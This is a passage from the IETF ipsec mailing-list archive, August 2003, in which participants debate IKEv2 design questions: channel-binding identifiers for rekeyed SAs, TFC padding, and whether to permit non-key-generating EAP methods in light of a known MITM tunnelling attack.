Nicolas> IKE_SA, or from SKEYSEED and the SPIs of the initial IKE_SA. Hmm. That wasn't what I was thinking about. Such a thing would not be able to persist across phase 1 rekeys. I was thinking more like... initiator contributes 16 or 32 bits from a PRNG, and responder the same. We have a 32 or 64 bit value which we call "Channel ID" or some such, and we then mention this in the rekey operation to be clear we want a rekey (add/delete) rather than an entirely new SA that might be identical, but will be used for a different QoS or some such. (based upon a selector that we do not need to communicate to the peer) The PPVPN people wanted this. I gotta read -9 and -10 :-( The number is also Nicolas> Summary: Authentication at one layer (application/GSS-API) bound Nicolas> to secure sessions at a lower layer (IPsec). Nicolas> See the NFSv4 list's archives from last December through May or Nicolas> so for more information, including expected performance savings Nicolas> from using the CCM GSS-API mechanism in conjunction with secure Nicolas> transports. It makes a good number to stick on the packets as they wander through the kernel. I think that's what you are saying. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0Fhq4qHRg3pndX9AQF9RAP8CmDd9Yv0PtjOwN0d4S54Kt61jvltT0x1 r7dW+mTZdlkEP1etQGXabPWpv8qzvR3Wh6JsWX54+GTKJ/qwFDl+aT4HNJFR86a4 HMfzjuSAurXbwc3TmEzIyB5h9r3AOKALbkyNjWYXSdPNh4Um0AOV4lO/7/K75JF+ VG9sQgu1F5M= =d9Ya -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Mon Aug 18 20:08:42 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J38fqt038136; Mon, 18 Aug 2003 20:08:41 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id WAA06410 Mon, 18 Aug 2003 22:26:15 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@localhost Message-Id: In-Reply-To: <9959.1061249453@marajade.sandelman.ottawa.on.ca> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> Date: Mon, 18 Aug 2003 22:32:05 -0400 To: Michael Richardson From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Michael, A while ago I proposed using the combination of the sender and receiver SPIs, for a pair of SAs when we need to refer to them, as we tend to create them in pairs and the numbers are unique relative to the sender and receiver. Steve From owner-ipsec@lists.tislabs.com Mon Aug 18 21:18:16 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J4IFqt040065; Mon, 18 Aug 2003 21:18:15 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id XAA06605 Mon, 18 Aug 2003 23:19:50 -0400 (EDT) Date: Mon, 18 Aug 2003 23:23:06 -0400 From: "Theodore Ts'o" To: Michael Richardson Cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030819032306.GA1306@think> References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20934.1061240676@marajade.sandelman.ottawa.on.ca> User-Agent: Mutt/1.5.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 18, 2003 at 05:04:36PM -0400, Michael Richardson wrote: > > My understanding of the MITM attack on non key-generating EAP methods is > that nothing we do in IKEv2 prevents this. This is because the attack is > not between two IPsec devices, but between different kinds of devices. > OK, my bad. I didn't recognize issue #65 as being related to the desire to thwart the tunnel/protocol composition problem, as documented Asokan, Niemi, and Nyberg: http://eprint.iacr.org/2002/163.pdf I'm embarassed didn't make the connection from going over the mail messages and the issue tracker. I suppose I can take some small comfort (but only a little) in that Charlie and Angelos didn't notice it either when we discussed things last week. Thanks for bringing that to our attention. OK, so, how do we resolve this? It's certainly true that in the general case, the EAP tunnelling attack can be a real problem. And if only to make ourselves feel better about not leaving behind what might considered an attractive nuisance, perhaps we should mark it as a MUST NOT. With my working group chair hat off and my security hat on, I think I would have to agree with that sentiment. On the other hand, in order to be realistic, we should at least take a moment to recognize that there is going to be a very strong market demand for this support, given the assumption by many corporations that everything behind the firewire is goodness and light and is fully secure. In those environments, if the only use of EAP outside of the firewall is in protected tunnels (such as IKEv2) used to gain access to the protected intravent via a VPN solution, then this is in fact no worse than making the original assumption that everything behind the firewall is safe. (After all, if the attacker has access to unprotected EAP transactions happening behind the firewall, then s/he has no need to try to use this to break a VPN solution trying to gain access behind the firewall.) Of course, this is a very silly, stupid assumption, and with my security directorate hat on, I deplore it as being bad and horrible and everyone who does this sort of thing ought to be ashamed of themselves. Tsk, tsk, tsk. Taking that hat off for a moment, though, I can think of a very large number of companies (including cough, cough, my current employer, and probably many other complanies who employ members of this working group), who make precisely this assumption regarding firewalls and the relative security inside vs. outside the firewall, and who make use of VPN solutions today. Hence, I suspect that even if we were to very strongly forbid the use of non-kg EAP mechanisms, the market pressure for vendors to implement them for in VPN solutions, for applications such as SecureID and even simple username/password passed to a Radius server (where more advanced forms of CHAP-like authentication schemese are not an option thanks to the customer's antiquated legacy infrastructure), will be very strong indeed. Of course, with all of this being said, we still don't necessary have to condone this outcome (even if some of our employers will either be building, buying, or deploying such solutions). So given this, I propose that we open a 48-hour discussion on this issue. Should we (a) say nothing about non-kg types, thus implicitly allowing them, (b) specify that vendors SHOULD NOT use non-kg EAP types, or (c) specify that vendors MUST NOT use non-kg EAP types? Arguments in favor include the originally stated requirement that we support legacy password authentication schemes; arguments against are that given some operating environments, there may be an EAP tunnelling attack, which we shouldn't encourage. And then of course there's the pragmatic observation that no matter whether we say MUST NOT or not, it may in the end have little effect on what VPN vendors actually choose to ship. Have I missed any of the arguments either against or for? If so, please speak up, but otherwise, let's just take a straw poll and then just decide this one way or another. - Ted From owner-ipsec@lists.tislabs.com Mon Aug 18 21:30:07 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J4U7qt040350; Mon, 18 Aug 2003 21:30:07 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id XAA06705 Mon, 18 Aug 2003 23:45:33 -0400 (EDT) Date: Mon, 18 Aug 2003 23:52:41 -0400 (EDT) From: Henry Spencer To: IP Security List Subject: Re: ESPv3 TFC padding In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, 12 Aug 2003, Tylor Allison wrote: > It would seem that random padding probably isn't sufficient, as if you're > trying to mask small packets, adding a random pad will just result in a > bigger packet on average, but will still be discernable from a VPN which is > just passing large packets. Barring grossly bandwidth-intensive measures like padding all packets out to a constant size and regularly injecting dummy packets if no real ones appear, all you can accomplish with such measures is to add noise to the data obtained by traffic analysis. If the underlying "signal" is strong enough, it will eventually show through the noise. But this doesn't make noise addition worthless. The noise can *hamper* traffic analysis even if entirely precluding it is impractical. The trickier the particular analysis is in the first place, e.g. trying to figure out what's going on inside a multi-user SA carrying several kinds of traffic simultaneously, the more it hurts to add a bit of extra noise to the data. Henry Spencer henry@spsystems.net From owner-ipsec@lists.tislabs.com Mon Aug 18 22:23:00 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J5Mxqt041653; Mon, 18 Aug 2003 22:23:00 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA07037 Tue, 19 Aug 2003 00:40:17 -0400 (EDT) Date: Mon, 18 Aug 2003 21:43:53 -0700 From: Nicolas Williams To: Michael Richardson Cc: ipsec@lists.tislabs.com, Mike Eisler Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030819044353.GJ27057@binky.central.sun.com> References: <20030818214040.GH27057@binky.central.sun.com> <9959.1061249453@marajade.sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9959.1061249453@marajade.sandelman.ottawa.on.ca> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 18, 2003 at 07:30:53PM -0400, Michael Richardson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > >>>>> "Nicolas" == Nicolas Williams writes: > Nicolas> Now, if only there was a concept similar to the SSHv2 session > Nicolas> ID. (Or is it there and I just missed it?) > > >> I'd like to see such a thing as well. > > Nicolas> Perhaps a quantity derived from SK_d and the SPIs of the initial > Nicolas> IKE_SA, or from SKEYSEED and the SPIs of the initial IKE_SA. > > Hmm. That wasn't what I was thinking about. > Such a thing would not be able to persist across phase 1 rekeys. > > I was thinking more like... initiator contributes 16 or 32 bits from a > PRNG, and responder the same. We have a 32 or 64 bit value which we call > "Channel ID" or some such, and we then mention this in the rekey operation > to be clear we want a rekey (add/delete) rather than an entirely new SA > that might be identical, but will be used for a different QoS or some such. > (based upon a selector that we do not need to communicate to the peer) No, it HAS to be cryptographically bound to the DH exchange. The whole point of CCM (the proposed GSS mech) is to prove that an underlying secure layer has no MITM - we can do this by proving that both peers had the same DH public numbers and/or DH key. > The PPVPN people wanted this. > I gotta read -9 and -10 :-( > > The number is also > > Nicolas> Summary: Authentication at one layer (application/GSS-API) bound > Nicolas> to secure sessions at a lower layer (IPsec). > > Nicolas> See the NFSv4 list's archives from last December through May or > Nicolas> so for more information, including expected performance savings > Nicolas> from using the CCM GSS-API mechanism in conjunction with secure > Nicolas> transports. > > It makes a good number to stick on the packets as they wander through the > kernel. I think that's what you are saying. No, that's not what I'm saying. Please see: http://www.ietf.org/internet-drafts/draft-ietf-nfsv4-ccm-01.txt Nico -- From owner-ipsec@lists.tislabs.com Mon Aug 18 22:39:32 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J5dVqt041934; Mon, 18 Aug 2003 22:39:32 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA07133 Tue, 19 Aug 2003 00:55:39 -0400 (EDT) Date: Mon, 18 Aug 2003 21:59:55 -0700 From: Nicolas Williams To: "Theodore Ts'o" Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030819045955.GK27057@binky.central.sun.com> References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> <20030819032306.GA1306@think> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030819032306.GA1306@think> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk For challenge/response token EAPs one could define a challenge based on some derivative of the key exchange. Thus the client could verify that the challenge corresponds to the KE and the server could verify that the response corresponds to the challenge and if both check out then the KE is authenticated. Obviously NOT a general solution for non-kg EAPs and probably not very strong either, but for at least one class of non-kg EAPs it is a possible solution. I have an ulterior motive for proposing such a thing - see my post today with subject "IKEv2 SA rekeying - naming an initial SA." Cheers, Nico -- From owner-ipsec@lists.tislabs.com Mon Aug 18 22:49:09 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J5n9qt042308; Mon, 18 Aug 2003 22:49:09 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id BAA07291 Tue, 19 Aug 2003 01:08:22 -0400 (EDT) Date: Mon, 18 Aug 2003 22:12:21 -0700 From: Nicolas Williams To: Stephen Kent Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030819051220.GL27057@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 18, 2003 at 10:32:05PM -0400, Stephen Kent wrote: > Michael, > > A while ago I proposed using the combination of the sender and > receiver SPIs, for a pair of SAs when we need to refer to them, as we > tend to create them in pairs and the numbers are unique relative to > the sender and receiver. This is fine for a lot of things, but it's not ok when it comes to defining a quantity that can be bound to by other crypto protocols. That's because the SPIs are self-selected (IIUC) and not bound to the key exchange, so a MITM could cause the SPIi/r pairss to match on both sides, whereas it could not force the DH public numbers and g^ir mod p to match on both sides. You may answer "sure, but IKEv2 takes care of this by authenticating the KE," but there's a problem with that: if you're trying to securely bind authentication at an application layer to IKEv2 at a lower layer you may not care about or be able to intelligently say anything about the identities authenticated at the IKEv2 layer. One could use those identities as the channel bindings quantity, but that automatically and forever prevents the combined use of anonymous key exchanges at the lower layer with channel binding (I realize that there is no recognized anonymous mode for IPsec, but the proposed CCM GSS-API mechanism makes such a thing worthwhile). Cheers, Nico -- From owner-ipsec@lists.tislabs.com Tue Aug 19 00:03:53 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J73qqt054947; Tue, 19 Aug 2003 00:03:53 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id BAA07447 Tue, 19 Aug 2003 01:25:17 -0400 (EDT) Date: Mon, 18 Aug 2003 22:29:31 -0700 From: Nicolas Williams To: "Theodore Ts'o" Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030819052931.GM27057@binky.central.sun.com> References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> <20030819032306.GA1306@think> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030819032306.GA1306@think> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 18, 2003 at 11:23:06PM -0400, Theodore Ts'o wrote: > On Mon, Aug 18, 2003 at 05:04:36PM -0400, Michael Richardson wrote: > > > > My understanding of the MITM attack on non key-generating EAP methods is > > that nothing we do in IKEv2 prevents this. This is because the attack is > > not between two IPsec devices, but between different kinds of devices. > > > > OK, so, how do we resolve this? [...] > Arguments in favor include the originally stated requirement that we > support legacy password authentication schemes; arguments against are > that given some operating environments, there may be an EAP tunnelling > attack, which we shouldn't encourage. And then of course there's the > pragmatic observation that no matter whether we say MUST NOT or not, > it may in the end have little effect on what VPN vendors actually > choose to ship. IMO, any non-kg EAPs that also cannot somehow be bound to the IKE_SA KE should not be allowed ("MUST NOT"), but in a pinch (i.e., no consensus) "SHOULD NOT," accompanied by LOUD warnings of dire, dire consequences could do. > Have I missed any of the arguments either against or for? If so, > please speak up, but otherwise, let's just take a straw poll and then > just decide this one way or another. Well, I have a use for "anonymous IPsec," that is, unauthenticated IKE key exchanges. Anonymous KEs can be rather useful, at least if we define a "session ID" like SSHv2's[*], then we can bind authentication at higher network layers (e.g., Secure NFS) to anonymous IPsec "sessions," thus proving that there is no MITM. Of course, this is not a solution to the non-kg EAP problem, though it is related to the solution I offered for [some] challenge/response EAPs. [*] Derived from, and thus bound to DH and other KE material of an initial IKE_SA, and which remains unchanged through subsequent re-keys. Cheers, Nico -- From owner-ipsec@lists.tislabs.com Tue Aug 19 01:02:09 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J828qt062701; Tue, 19 Aug 2003 01:02:09 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id DAA08141 Tue, 19 Aug 2003 03:15:57 -0400 (EDT) Date: Tue, 19 Aug 2003 10:23:06 +0300 Subject: Re: The remaining IKEv2 issues Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Yoav Nir To: ipsec@lists.tislabs.com Content-Transfer-Encoding: 7bit In-Reply-To: <20030819032306.GA1306@think> Message-Id: X-Mailer: Apple Mail (2.552) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk As many times as I read that article, I can't see how this is a problem. It makes a very strong assumption, that EAP methods are used outside of secure tunnels. IMO this is not true: - The easiest case is the user/password. This could be handled using EAP-MD5 or EAP-GTC. In an average company, the user/password combination is used to log in to your workstation, to log in to servers, or to connect from home or while on the road. You do not use it from home to do things that are not related to IKE. When at work, you log on to the Windows domain controller or to some RADIUS server, but you do not use EAP. The only cases where you actually use EAP is when connecting to a wireless LAN equipped with 802.1x or when connecting to a relatively new RAS. These RAS usually also use L2TP/IPsec, so that's not snoopable either. In short, I don't see the case where the user will pass their password through unprotected GTC. Since both GTC and MD5 are not good protection for passwords, it is up to the administrator to prevent these methods from being used in unprotected tunnels. - Another case is the one-time password. Here, the danger is real, although the user will notice that the authentication failed. - An other case is the SecurID. This will be done either by GTC or by SecurID's own EAP methods. Both are non-kg. Again I have to ask, why would anyone do GTC in an open channel? You authenticate either inside your corporate network, or else at home for IPsec. The case of a university where a lot of students have access to the network simply says that you should use IPsec or at least some kind of tunneled EAP such as PEAP or TTLS. The administrator should not allow users to use non-kg methods outside tunnels. To sum it up, I believe that it should be left to administrators to use EAP methods appropriately, i.e. not use the same non-kg method both in tunnels and in the clear. That responsibility should not fall on IKE implementors. They SHOULD, however, warn their customers about the dangers. On Tuesday, August 19, 2003, at 06:23 AM, Theodore Ts'o wrote: > So given this, I propose that we open a 48-hour discussion on this > issue. Should we (a) say nothing about non-kg types, thus implicitly > allowing them, (b) specify that vendors SHOULD NOT use non-kg EAP > types, or (c) specify that vendors MUST NOT use non-kg EAP types? > > Arguments in favor include the originally stated requirement that we > support legacy password authentication schemes; arguments against are > that given some operating environments, there may be an EAP tunnelling > attack, which we shouldn't encourage. And then of course there's the > pragmatic observation that no matter whether we say MUST NOT or not, > it may in the end have little effect on what VPN vendors actually > choose to ship. From owner-ipsec@lists.tislabs.com Tue Aug 19 07:04:32 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JE4Vqt099468; Tue, 19 Aug 2003 07:04:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA14751 Tue, 19 Aug 2003 09:10:31 -0400 (EDT) X-Authentication-Warning: gandalf.sctc.com: allison owned process doing -bs Date: Tue, 19 Aug 2003 08:17:42 -0500 (CDT) From: Tylor Allison X-X-Sender: To: "Theodore Ts'o" cc: Michael Richardson , Subject: Re: The remaining IKEv2 issues In-Reply-To: <20030819032306.GA1306@think> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk So the MITM attack on non-kg methods is possible for EAP messages being transmitted outside of IKEv2 (e.g. not between IPsec peers), and occurs because either the EAP messages are being passed in the clear, or the server in a protected EAP protocol (e.g. PEAP) is not being authenticated properly. Why not make doing this a MUST NOT? Aren't there many ways to make non-kg EAP methods protected from MITM? How about: o Securing the EAP with another protocol (PEAP, others). o Securing the network that the auth server is on (e.g. dedicated network for the server) o Having IKEv2 peers consume the EAP messages directly ... e.g for small scale deployments, the IKEv2 firewall could locally manage a small set of user/passwords. Another example is that the firewall consumes the EAP messages and translates to other (proprietary) security protocols to communicate to the authentication servers. Unless I'm misunderstanding the vulnerability, I think any of these may be viable, and, as Ted points out, many IKEv2 vendors may be forced to provide one or more of these solutions to customers with existing legacy auth servers. My vote... I'm not sure I like the choices. I would like to see a warning in the draft regarding the use of EAP outside of IKEv2 (transmissions to auth server), stating that this transmission needs to be secured. But perhaps that should be obvious to implementors and isn't needed? I don't want either of the "SHOULD NOT" or "MUST NOT" options. I think there's valid reasons why these legacy auth methods need to be supported, and there are ways to make them secure. Regards, Tylor Allison On Mon, 18 Aug 2003, Theodore Ts'o wrote: > On Mon, Aug 18, 2003 at 05:04:36PM -0400, Michael Richardson wrote: > > > > My understanding of the MITM attack on non key-generating EAP methods is > > that nothing we do in IKEv2 prevents this. This is because the attack is > > not between two IPsec devices, but between different kinds of devices. > > > > OK, my bad. I didn't recognize issue #65 as being related to the > desire to thwart the tunnel/protocol composition problem, as > documented Asokan, Niemi, and Nyberg: > > http://eprint.iacr.org/2002/163.pdf > > I'm embarassed didn't make the connection from going over the mail > messages and the issue tracker. I suppose I can take some small > comfort (but only a little) in that Charlie and Angelos didn't notice > it either when we discussed things last week. Thanks for bringing > that to our attention. > > OK, so, how do we resolve this? > > It's certainly true that in the general case, the EAP tunnelling > attack can be a real problem. And if only to make ourselves feel > better about not leaving behind what might considered an attractive > nuisance, perhaps we should mark it as a MUST NOT. With my working > group chair hat off and my security hat on, I think I would have to > agree with that sentiment. > > On the other hand, in order to be realistic, we should at least take a > moment to recognize that there is going to be a very strong market > demand for this support, given the assumption by many corporations > that everything behind the firewire is goodness and light and is fully > secure. In those environments, if the only use of EAP outside of the > firewall is in protected tunnels (such as IKEv2) used to gain access > to the protected intravent via a VPN solution, then this is in fact no > worse than making the original assumption that everything behind the > firewall is safe. (After all, if the attacker has access to > unprotected EAP transactions happening behind the firewall, then s/he > has no need to try to use this to break a VPN solution trying to gain > access behind the firewall.) > > Of course, this is a very silly, stupid assumption, and with my > security directorate hat on, I deplore it as being bad and horrible > and everyone who does this sort of thing ought to be ashamed of > themselves. Tsk, tsk, tsk. Taking that hat off for a moment, though, > I can think of a very large number of companies (including cough, > cough, my current employer, and probably many other complanies who > employ members of this working group), who make precisely this > assumption regarding firewalls and the relative security inside > vs. outside the firewall, and who make use of VPN solutions today. > > Hence, I suspect that even if we were to very strongly forbid the use > of non-kg EAP mechanisms, the market pressure for vendors to implement > them for in VPN solutions, for applications such as SecureID and even > simple username/password passed to a Radius server (where more > advanced forms of CHAP-like authentication schemese are not an option > thanks to the customer's antiquated legacy infrastructure), will be > very strong indeed. Of course, with all of this being said, we still > don't necessary have to condone this outcome (even if some of our > employers will either be building, buying, or deploying such > solutions). > > So given this, I propose that we open a 48-hour discussion on this > issue. Should we (a) say nothing about non-kg types, thus implicitly > allowing them, (b) specify that vendors SHOULD NOT use non-kg EAP > types, or (c) specify that vendors MUST NOT use non-kg EAP types? > > Arguments in favor include the originally stated requirement that we > support legacy password authentication schemes; arguments against are > that given some operating environments, there may be an EAP tunnelling > attack, which we shouldn't encourage. And then of course there's the > pragmatic observation that no matter whether we say MUST NOT or not, > it may in the end have little effect on what VPN vendors actually > choose to ship. > > Have I missed any of the arguments either against or for? If so, > please speak up, but otherwise, let's just take a straw poll and then > just decide this one way or another. > > - Ted From owner-ipsec@lists.tislabs.com Tue Aug 19 07:58:38 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JEwbqt002400; Tue, 19 Aug 2003 07:58:38 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA21207 Tue, 19 Aug 2003 10:11:37 -0400 (EDT) Date: Tue, 19 Aug 2003 17:17:27 +0300 Subject: Re: The remaining IKEv2 issues Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: "Theodore Ts'o" , Michael Richardson , To: Tylor Allison From: Yoav Nir In-Reply-To: Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Tylor, The reason we can't make doing this a MUST NOT is that the IKEv2 document is designed to be used by implementors, not administrators and definitely not users. We can say "GTC is OK" or "MUST NOT use GTC". We can even say "GTC MUST NOT be used unless the passwords are local to the VPN endpoint". We can't mandate user behavior like "you can't use the GTC server for IKE if you can also do GTC over unencrypted PPTP or over unauthenticated PEAP". We can definitely not say "you should only authenticate with GTC if you verify the server's certificate correctly in PEAP" In short, you can mandate things about IKE, but not about other users of the legacy authentication. It would be up to the implementor to tell the user not to use insecure methods, perhaps by displaying a warning message in the GUI. For the RFC, it's either in or out. On Tuesday, August 19, 2003, at 04:17 PM, Tylor Allison wrote: > So the MITM attack on non-kg methods is possible for EAP messages being > transmitted outside of IKEv2 (e.g. not between IPsec peers), and occurs > because either the EAP messages are being passed in the clear, or the > server in a protected EAP protocol (e.g. PEAP) is not being > authenticated > properly. > > Why not make doing this a MUST NOT? Aren't there many ways to make > non-kg > EAP methods protected from MITM? How about: From owner-ipsec@lists.tislabs.com Tue Aug 19 08:35:43 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JFZgqt004842; Tue, 19 Aug 2003 08:35:43 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA25686 Tue, 19 Aug 2003 10:50:35 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Mon, 18 Aug 2003 23:23:06 EDT." <20030819032306.GA1306@think> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 10:58:08 -0400 Message-ID: <26888.1061305088@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Theodore" == Theodore Ts'o writes: Theodore> OK, so, how do we resolve this? Theodore> On the other hand, in order to be realistic, we should at least Theodore> take a moment to recognize that there is going to be a very Theodore> strong market demand for this support, given the assumption by Theodore> many corporations that everything behind the firewire is Theodore> goodness and light and is fully secure. In those environments, One simple answer is that we do not accept non-kg EAP as the way to do X9.9/SecureID/token based authentication. We accept do, instead XAUTH or something. {I say all of this, still prefering SMB's original proposal...} If we accept non-kg EAP methods, then we must make a strong statement to the effect that the credentials MUST not be used to authenticate to parties of differing trust. I.e. maybe it is okay for the corporate "extranet" web server to use the employees EAP credentials to form an IPsec tunnel to the employee's desktop to retrieve that file. It just isn't okay for company A's web server to use credentials from company B for things they weren't intended for. (noting that B's web server must already have some radius-like relationship with A's authentication server in order to perform the legitimate authentication) ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0I6/4qHRg3pndX9AQHdOAQAnpWpBrA2DZZnrizXBDF+45wEldmXiJYE tNMBG3NGsTC2YTZ9tQOeePNvQBE5WqOeskPlDC4Mkcyhxfg3LOlPrp5e9f+rY7pq Zq1WuwJca+pFr3q9ojW2H9DDQrF5mN9BO9Lpx3qoLX99EIH+9KWxvz7eVZPu7v4+ TI8x0bE630k= =tLq0 -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 08:46:36 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JFkZqt005617; Tue, 19 Aug 2003 08:46:35 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA26997 Tue, 19 Aug 2003 11:02:54 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA In-reply-to: Your message of "Mon, 18 Aug 2003 22:32:05 EDT." Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 11:10:33 -0400 Message-ID: <27177.1061305833@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Stephen" == Stephen Kent writes: Stephen> A while ago I proposed using the combination of the sender and Stephen> receiver SPIs, for a pair of SAs when we need to refer to them, Stephen> as we tend to create them in pairs and the numbers are unique Stephen> relative to the sender and receiver. This will work if you keep this number for all subsequent SAs which are keyed. How we create the number isn't so important - what matters is that there is a place to put it when we rekey. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0I95oqHRg3pndX9AQEeUQQAv/DGcjMWEON2TMVkkxJGjI811mSYl7Xp tNxeTkllg9oQG0wDRdal9otf/XMGlKG6NFHqSFMOdNnHMIkH5Qjlqh+ht/zqMNft 